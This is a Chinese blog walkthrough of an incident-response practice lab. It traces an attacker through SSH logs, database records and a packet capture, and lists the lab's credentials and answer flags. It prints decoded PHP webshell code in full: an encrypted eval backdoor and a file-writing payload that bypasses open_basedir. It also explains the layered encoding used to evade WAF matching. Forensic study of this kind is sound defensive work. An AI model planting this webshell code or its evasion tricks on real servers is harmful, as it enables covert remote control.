应急响应靶机-Linux-web-02

发布时间:2026/8/17 4:04:26
应急响应靶机-Linux-web-02 依旧手痒做了Linux1之后感觉受益良多所以又下了个Linux2下面是知攻善防公众号的相关靶机链接https://mp.weixin.qq.com/s/xf2FgkrjZg-yWlB9-pRXvw这一回解压完后发现解压完后的文件是这样的那么靠VMware的扫描虚拟机功能是无法正常导入靶机的点击VMware右上角’文件’→‘打开’→选择.ovf文件→’打开’然后找个地方放靶机文件当然你也可以默认路径就好→点’导入’就行静待片刻靶机导入好后正常打开就行相关账户密码root/Inch957821.呃…不知道为啥手输密码总错…可能是手残吧…不过好在22端口开着的换成ssh连接就好了嘻嘻1、提交攻击者IPgrep “Accepted” /var/log/secure* | awk ‘{print $1,$2,$3,$9,$11}’从 ssh 安全日志里筛选登录成功的记录只打印时间、登录用户、来源 IP可以看到除了我的IP地址192.168.212.135登录外192.168.20.1也登录了那么这个就是攻击者的IP2、提交攻击者修改的管理员密码(明文)netstat -anlupt查看本机所有网络连接、监听端口、对应的进程 PID / 程序名发现mysql服务开着那么就看下数据库的配置文件吧因为说要提交修改的管理员密码嘛那密码一般都存在数据库但不知道数据库的账号密码所以就从配置文件找find / -name config.inc.php数据库常用配置文件名cat /www/wwwroot/127.0.0.1/lib/config.inc.phpmysql账号/密码kaoshi5Sx8mK5ieyLPb84m登录数据库mysql -u kaoshi -p5Sx8mK5ieyLPb84mshow databases;use kaoshi;show tables;select * from x2_user;f6f6eb5ace977d7e114377cc7098b7e3https://www.somd5.com/解密后得到管理员密码Network20203、提交第一次Webshell的连接URL(http://xxx.xxx.xxx.xx/abcdefg?abcdefg只需要提交abcdefg?abcdefg)lshttp.request.method “POST”index.php?user-app-register4、提交Webshell连接密码http.request.method “POST”HEX 解码之后?phperror_reporting(0);session_start();$keye45e329feb5d925b;//该密钥为连接密码32位md5值的前16位默认连接密码rebeyond$_SESSION[k]$key;session_write_close();$postfile_get_contents(php://input);if(!extension_loaded(openssl)){$tbase64_.decode;$post$t($post.);for($i0;$istrlen($post);$i){$post[$i]$post[$i]^$key[$i115];}}else{$postopenssl_decrypt($post,AES128,$key);}$arrexplode(|,$post);$func$arr[0];$params$arr[1];classC{publicfunction__invoke($p){eval($p.);}}call_user_func(newC(),$params);?后面看了几个包发现只要是通过index.php?user‑app‑register路径去执行的操作POST请求包就会有Network2020这个key后面跟要执行的东西也就说webshell的连接密码为Network20205、提交数据包的flag1http.request.method “GET”也可以通过关键字flag 去找flag1{Network_2020_Hack}6、提交攻击者使用的后续上传的木马文件名称http.request.method “POST”这有个妙点你直接复制value值是是没办法解码的需要去掉前两个垃圾字节才解得出来文章后面再细嗦解码后就是第一个webshell的名称和所在路径/www/wwwroot/127.0.0.1/shell.php这里可以明显看到后面就不是路径/index.php?user-app-register访问了而是通过/version2.php 访问那么确定后续上传的木马文件为version2.php补充后续上传的PHP马是直接丢在网站根目录下的访问路径是/version2.php典型web层面的文件持久化后门哪怕漏洞被修复了原shell.php被删除只要version2.php没被发现删除攻击者就还是随时都能访问、控制该服务器。7、提交攻击者隐藏的flag2history看下历史命令看到改了mpnotify.php和alinotify.php最后在alinotify.php看到了flag2flag{bL5Frin6JVwVw7tJBdqXlHCMVpAenXI9In9}/www/wwwroot/127.0.0.1/api8、提交攻击者隐藏的flag3依旧history往下翻点就能看到flag{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}细嗦部分这个包直接点开来看你只能看到一部分得从HTTP流才能看全红框框起来的才是完整的这里面包含了 URL 编码、十六进制 HEX 编码、Base64 多层混淆,所以你直接放到那些在线解码网站解出来的是乱码下面是分隔好的样子分成三段对应着三种解密方式Network2020ini_set(display_errors,0);set_time_limit(0);$opdirini_get(open_basedir);if($opdir){$ocwddirname($_SERVER[SCRIPT_FILENAME]);$oparrpreg_split(base64_decode(Lzt8Oi8),$opdir);array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparras$item){if(!is_writable($item)){continue;};$tmdir$item./.c81ba5eafdcd;mkdir($tmdir);if(!file_exists($tmdir)){continue;}$tmdirrealpath($tmdir);chdir($tmdir);ini_set(open_basedir,..);$cntarrpreg_split(/\\\\|\//,$tmdir);for($i0;$isizeof($cntarr);$i){chdir(..);};ini_set(open_basedir,/);rmdir($tmdir);break;};};;functionasenc($out){return$out;};functionasoutput(){$outputob_get_contents();ob_end_clean();echo216e1d.ba405f;echoasenc($output);echocfe83.bf68e;}ob_start();try{$fbase64_decode(substr($_POST[x0b6b31b98f31d],2));$c$_POST[fd656d3495adda];$cstr_replace(\r,,$c);$cstr_replace(\n,,$c);$buf;for($i0;$istrlen($c);$i2)$buf.urldecode(%.substr($c,$i,2));echo(fwrite(fopen($f,a),$buf)?1:0);;}catch(Exception$e){echoERROR://.$e-getMessage();};asoutput();die();fd656d3495adda3C3F7068700A406572726F725F7265706F7274696E672830293B0A73657373696F6E5F737461727428293B0A20202020246B65793D2265343565333239666562356439323562223B202F2FE8AFA5E5AF86E992A5E4B8BAE8BF9EE68EA5E5AF86E7A0813332E4BD8D6D6435E580BCE79A84E5898D3136E4BD8DEFBC8CE9BB98E8AEA4E8BF9EE68EA5E5AF86E7A08172656265796F6E640A09245F53455353494F4E5B276B275D3D246B65793B0A0973657373696F6E5F77726974655F636C6F736528293B0A0924706F73743D66696C655F6765745F636F6E74656E747328227068703A2F2F696E70757422293B0A0969662821657874656E73696F6E5F6C6F6164656428276F70656E73736C2729290A097B0A090924743D226261736536345F222E226465636F6465223B0A090924706F73743D24742824706F73742E2222293B0A09090A0909666F722824693D303B24693C7374726C656E2824706F7374293B24692B2B29207B0A202020200909092024706F73745B24695D203D2024706F73745B24695D5E246B65795B24692B312631355D3B200A202020200909097D0A097D0A09656C73650A097B0A090924706F73743D6F70656E73736C5F646563727970742824706F73742C2022414553313238222C20246B6579293B0A097D0A20202020246172723D6578706C6F646528277C272C24706F7374293B0A202020202466756E633D246172725B305D3B0A2020202024706172616D733D246172725B315D3B0A09636C61737320437B7075626C69632066756E6374696F6E205F5F696E766F6B6528247029207B6576616C2824702E2222293B7D7D0A202020204063616C6C5F757365725F66756E63286E6577204328292C24706172616D73293B0A3F3E0Ax0b6b31b98f31dg2L3d3dy93d3dyb290LzEyNy4wLjAuMS9zaGVsbC5waHA第一段 URL解码Network2020ini_set(display_errors,0);set_time_limit(0);$opdirini_get(open_basedir);if($opdir){$ocwddirname($_SERVER[SCRIPT_FILENAME]);$oparrpreg_split(base64_decode(Lzt8Oi8),$opdir);array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparras$item){if(!is_writable($item)){continue;};$tmdir$item./.c81ba5eafdcd;mkdir($tmdir);if(!file_exists($tmdir)){continue;}$tmdirrealpath($tmdir);chdir($tmdir);ini_set(open_basedir,..);$cntarrpreg_split(/\\\\|\//,$tmdir);for($i0;$isizeof($cntarr);$i){chdir(..);};ini_set(open_basedir,/);rmdir($tmdir);break;};};functionasenc($out){return$out;};functionasoutput(){$outputob_get_contents();ob_end_clean();echo216e1d.ba405f;echoasenc($output);echocfe83.bf68e;}ob_start();try{$fbase64_decode(substr($_POST[x0b6b31b98f31d],2));$c$_POST[fd656d3495adda];$cstr_replace(\r,,$c);$cstr_replace(\n,,$c);$buf;for($i0;$istrlen($c);$i2)$buf.urldecode(%.substr($c,$i,2));echo(fwrite(fopen($f,a),$buf)?1:0);}catch(Exception$e){echoERROR://.$e-getMessage();};asoutput();die();第二段 Hex解码?phperror_reporting(0);session_start();$keye45e329feb5d925b;//该密钥为连接密码32位md5值的前16位默认连接密码rebeyond$_SESSION[k]$key;session_write_close();$postfile_get_contents(php://input);if(!extension_loaded(openssl)){$tbase64_.decode;$post$t($post.);for($i0;$istrlen($post);$i){$post[$i]$post[$i]^$key[$i115];}}else{$postopenssl_decrypt($post,AES128,$key);}$arrexplode(|,$post);$func$arr[0];$params$arr[1];classC{publicfunction__invoke($p){eval($p.);}}call_user_func(newC(),$params);?第三段g2L3d3dy93d3dyb290LzEyNy4wLjAuMS9zaGVsbC5waHA先执行把前两个无用字符切掉substr($_POST[x0b6b31b98f31d],2)得到L3d3dy93d3dyb290LzEyNy4wLjAuMS9zaGVsbC5waHA然后Base64 解码/www/wwwroot/127.0.0.1/shell.php这个 WebShell 是典型针对仅做原始报文正则匹配 WAF 的绕过样本当然如果WAF 具备语法解析、污点追踪能力能够模拟代码执行链路追踪用户可控参数经过 substr 截取、base64_decode 解码后流向文件写入函数则该绕过手段将会失效。1提交攻击者IP192.168.20.12提交攻击者修改的管理员密码(明文)Network20203提交第一次Webshell的连接URL(http://xxx.xxx.xxx.xx/abcdefg?abcdefg只需要提交abcdefg?abcdefg)index.php?user-app-register4提交Webshell连接密码Network20205提交数据包的flag1flag1{Network_2020_Hack}6提交攻击者使用的后续上传的木马文件名称version2.php7提交攻击者隐藏的flag2flag{bL5Frin6JVwVw7tJBdqXlHCMVpAenXI9In9}8提交攻击者隐藏的flag3flag{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}OK大功告成